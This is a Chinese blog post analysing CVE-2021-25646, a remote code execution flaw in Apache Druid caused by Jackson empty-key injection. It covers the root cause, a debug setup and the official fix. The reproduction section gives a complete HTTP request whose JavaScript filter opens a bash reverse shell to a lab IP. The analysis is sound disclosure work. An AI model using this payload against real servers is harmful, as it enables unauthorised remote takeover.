Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

    • 前置知识
      • Druid
      • Jackson
    • 环境搭建
      • 漏洞分析
        • 寻找漏洞点
      • 漏洞复现
        • 修复思路
        Eki
        2021-04-20
        随笔
        目录

        CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

        本文首发于安全客 https://www.anquanke.com/post/id/235831

        # 前置知识

        # Druid

        Apache Druid 是用 Java 编写的面向列的开源分布式数据存储, 通常用于商业智能/ OLAP 应用程序 中,以分析大量的实时和历史数据。

        Druid提供了JavaScript引擎用来扩展Druid的功能,值得注意的是,Druid的JavaScript不在沙盒中运行,而对机器有完全的访问权限,同时支持运行原生java语句,存在安全性问题,所以默认被关闭了。

        img (opens new window)

        见https://druid.apache.org/docs/latest/development/javascript.html

        # Jackson

        Jackson是一个非常流行且高效的基于Java的库,用于将Java对象序列化或映射到JSON和XML,也可以将JSON和XML转换为Java对象。在Druid也有对其的依赖。

        在这个漏洞中利用了Jackson的一个(特性)BUG

        这个Bug出在Jackson的两个注释上

        1. @JsonCreator (opens new window)在于对用JsonCreator注解修饰的方法来说,方法的所有参数都会解析成CreatorProperty类型,对于没有使用JsonProperty注解修饰的参数来说,会创建一个name为””的CreatorProperty,在用户传入键为””的json对象时就会被解析到对应的参数上。
        2. @JacksonInject (opens new window) 假设json字段有一些缺少的属性,抓换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认值,这时候我们就可以用到这个注解了,它的功能就是在反序列化的时候将没有的字段设置为我们设置好的默认值。

        具体可以编写下面的示例代码

        package com.example.demo;
        
        
        import com.fasterxml.jackson.annotation.JacksonInject;
        import com.fasterxml.jackson.annotation.JsonCreator;
        import com.fasterxml.jackson.annotation.JsonProperty;
        import com.fasterxml.jackson.core.JsonProcessingException;
        import com.fasterxml.jackson.databind.ObjectMapper;
        
        
        public class DemoApplication {
        
            public static void main(String[] args) throws JsonProcessingException {
        
                String json= "{\"name\":\"Jack\",\"\":\"Nofield\"}";
        
                ObjectMapper mapper = new ObjectMapper();
                Student result = mapper.readValue(json, Student.class);
                System.out.print(mapper.writeValueAsString(result));
            }
        
        }
        
        class Student {
            @JsonCreator
            public Student(
                    @JsonProperty("name")String name,
                    @JacksonInject String id
            ){
                this.name=name;
                this.id=id;
            }
        
            private String id;
            private String name;
            public String getName() {return name;}
        
            public String getId() {return id;}
            public void setId(String id) {this.id = id;}
        
        }
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41

        运行输出

        {"name":"Jack","id":"Nofield"}
        
        1

        可以看到json串中键为空的值被赋值到了id属性上,这是因为JsonCreator给id设置的键为空,JsonInject将json串中空键对应的值Nofield赋给了id

        # 环境搭建

        这里通过idea进行远程调试

        在官网下载编译好的版本19.0

        https://mirrors.bfsu.edu.cn/apache/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz

        并在github上下载版本对应的源码

        https://codeload.github.com/apache/druid/zip/druid-0.19.0

        此处我们要调试的druid的coordinator-overlord模块,使用最小快速启动方式

        /apache-druid-0.19.0/conf/druid/single-server/micro-quickstart/coordinator-overlord
        
        1

        在jvm.config最后加上

        -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
        
        1

        在idea中加上远程调试配置

        img (opens new window)

        -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
        
        1

        运行服务端程序

        ./bin/start-micro-quickstart
        
        1

        就可以开始愉快地下断点调试了

        # 漏洞分析

        # 寻找漏洞点

        在druid官网关于javascript的利用中我们可以找到filiter中的利用https://druid.apache.org/docs/latest/querying/filters.html#javascript-filter

        img (opens new window)

        可以找到网页上的相关功能点,抓包如下

        POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
        Host: 192.168.111.3:8888
        Content-Length: 11180
        Accept: application/json, text/plain, */*
        DNT: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
        Content-Type: application/json;charset=UTF-8
        Origin: http://192.168.111.3:8888
        Referer: http://192.168.111.3:8888/unified-console.html
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close
        
        {
            "type": "index",
            "spec": {
                "ioConfig": {
                    "type": "index",
                    "inputSource": {
                        "type": "inline",
                        "data": "",
                    },
                    "inputFormat": {
                        "type": "json",
                        "keepNullColumns": true
                    }
                },
                "dataSchema": {
                    "dataSource": "sample",
                    "timestampSpec": {
                        "column": "timestamp",
                        "format": "iso"
                    },
                    "dimensionsSpec": {},
                    "transformSpec": {
                        "transforms": [],
                        "filter": {
                            "type": "selector",
                            "dimension": "1",
                            "value": "1"
                        }
                    }
                },
                "type": "index",
                "tuningConfig": {
                    "type": "index"
                }
            },
            "samplerConfig": {
                "numRows": 500,
                "timeoutMs": 15000
            }
        }
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53

        通过分析数据包结构,我们找到了transformSpec

        img (opens new window)

        定位到filiter为DimFilter类,

        img (opens new window)

        同文档中描述的那样filiter支持javascript

        于是我们定位到

        img (opens new window)

        根据前置知识,可以发现此处的config可以通过空键值注入,继续跟这个config

        发现这里设置了JavaScript是否被开启,那么我们此处就可以直接绕过限制,开启javascript了

        img (opens new window)

        # 漏洞复现

        我们修改之前发过的post构造一个filiter,就可以完成RCE了,

        "filter":{"type": "javascript",
                                                "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
                                                "dimension": "added",
                                                "": {
                                                        "enabled": "true"
                                                }
                                        }
        
        1
        2
        3
        4
        5
        6
        7

        这里直接写java反弹shell语句

        完整报文

        POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
        Host: 192.168.111.3:8888
        Content-Length: 992
        Accept: application/json, text/plain, */*
        DNT: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
        Content-Type: application/json;charset=UTF-8
        Origin: http://192.168.111.3:8888
        Referer: http://192.168.111.3:8888/unified-console.html
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close
        
        {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
                                                "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
                                                "dimension": "added",
                                                "": {
                                                        "enabled": "true"
                                                }
                                        }
                                }
          },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22

        具体json转换过程可以com.fasterxml.jackson.databind.deser.BeanDeserializer的_deserializeUsingPropertyBased定位到

        image-20210324174635820 (opens new window)

        此时对propName:spec进行反序列化,不断断点跟踪,可以看到反序列完空键值对应的键后,config.enabled被赋值为true

        image-20210324175315330 (opens new window)

        绕过此处限制

        image-20210324175811215 (opens new window)

        成功运行poc

        接收到shell

        image-20210324174206716 (opens new window)

        # 修复思路

        官方的修复思路是在任何情况下都不允许空键值被传入赋值,重写了方法findPropertyIgnorals

          /**
           * This method is used to find what property to ignore in deserialization. Jackson calls this method
           * per every class and every constructor parameter.
           *
           * This implementation returns a {@link JsonIgnoreProperties.Value#empty()} that allows empty names if
           * the parameters has the {@link JsonProperty} annotation. Otherwise, it returns
           * {@code JsonIgnoreProperties.Value.forIgnoredProperties("")} that does NOT allow empty names.
           * This behavior is to work around a bug in Jackson deserializer (see the below comment for details) and
           * can be removed in the future after the bug is fixed.
           * For example, suppose a constructor like below:
           *
           * <pre>{@code
           * @JsonCreator
           * public ClassWithJacksonInject(
           *   @JsonProperty("val") String val,
           *   @JacksonInject InjectedParameter injected
           * )
           * }</pre>
           *
           * During deserializing a JSON string into this class, this method will be called at least twice,
           * one for {@code val} and another for {@code injected}. It will return {@code Value.empty()} for {@code val},
           * while {Value.forIgnoredProperties("")} for {@code injected} because the later does not have {@code JsonProperty}.
           * As a result, {@code injected} will be ignored during deserialization since it has no name.
           */
          @Override
          public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
          {
            // We should not allow empty names in any case. However, there is a known bug in Jackson deserializer
            // with ignorals (_arrayDelegateDeserializer is not copied when creating a contextual deserializer.
            // See https://github.com/FasterXML/jackson-databind/issues/3022 for more details), which makes array
            // deserialization failed even when the array is a valid field. To work around this bug, we return
            // an empty ignoral when the given Annotated is a parameter with JsonProperty that needs to be deserialized.
            // This is valid because every property with JsonProperty annoation should have a non-empty name.
            // We can simply remove the below check after the Jackson bug is fixed.
            //
            // This check should be fine for so-called delegate creators that have only one argument without
            // JsonProperty annotation, because this method is not even called for the argument of
            // delegate creators. I'm not 100% sure why it's not called, but guess it's because the argument
            // is some Java type that Jackson already knows how to deserialize. Since there is only one argument,
            // Jackson perhaps is able to just deserialize it without introspection.
            if (ac instanceof AnnotatedParameter) {
              final AnnotatedParameter ap = (AnnotatedParameter) ac;
              if (ap.hasAnnotation(JsonProperty.class)) {
                return JsonIgnoreProperties.Value.empty();
              }
            }
        
            return JsonIgnoreProperties.Value.forIgnoredProperties("");
          }
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49

        具体可见 https://github.com/apache/druid/compare/0.20.0…0.20.1 (opens new window)

        编辑 (opens new window)
        上次更新: 2022/05/18, 16:49:51
        最近更新
        01
        QWB CTF2022 线下赛总决赛部分题解
        08-25
        02
        CISCN2022 总决赛部分题解
        08-25
        03
        DSCTF2022决赛 部分writeup
        08-08
        更多文章>
        Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
        This work is licensed under a Creative Commons Attribution 4.0 International License.
        • 跟随系统
        • 浅色模式
        • 深色模式
        • 阅读模式